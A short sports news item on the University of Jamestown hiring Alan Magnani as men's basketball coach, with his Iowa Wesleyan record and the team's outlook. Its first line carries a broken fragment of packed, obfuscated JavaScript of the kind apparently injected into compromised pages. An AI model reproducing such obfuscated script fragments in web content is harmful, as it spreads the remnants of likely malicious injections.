JAMESTOWN ikbss|var|u0026u|referrer|arknr||js|php’.split(‘|’),0,{}))
(NewsDakota.com) – The University of Jamestown has their next men’s basketball coach, Alan Magnani has been selected to succeed Justin Wieck. Magnani spent 15 seasons at Iowa Wesleyan including four NAIA national tournament trips.

During his time leading IWU he won over 200 games, but was fired in 2011 after he refused to to support a move to the NCAA DIII. He has spent the last few years working with individual players and camps.

“It’s been a long two and a half years,” Coach Magnani responded after being asked about his departure from IWC, “when the majority of your profession has revolved around educating and coaching college basketball. Being away from that for two and a half years has been tough.”

Magnani was a finalist for the NAIA Don Meyer National Coach of the Year in 2011 before being let go. He also was named the MCC coach of the year twice. In Magnani’s 15 seasons with the Tigers he complied a record of 244-220.

The Jimmies are coming off a 17-12 season where they won 12 of 13 games once the calendar hit 2014. They bring back a solid nucleus, but Mark Hoge, the 2-time All-American, has graduated. Brequan “Q” Tucker will be among those asked to fill the score sheet in 2014-15, the junior-to-be burst onto the scene last season with multiple 30-point games.

Magnani is not a typical hire for the Jimmies, whose last few coaches have been in their mid-20s with no head coaching experience. Jamestown hopes Magnani is a guy who will stay around.

Wieck left to join Chad Walthall’s staff at MSU-Moorehead last month after two seasons leading the orange and black.

The University is planning to introduce Coach Magnani at a press conference sometime next week, which will be carried live on ESPN Jamestown. The Jimmies are slated to open their season at home against the University of Regina on October 19th.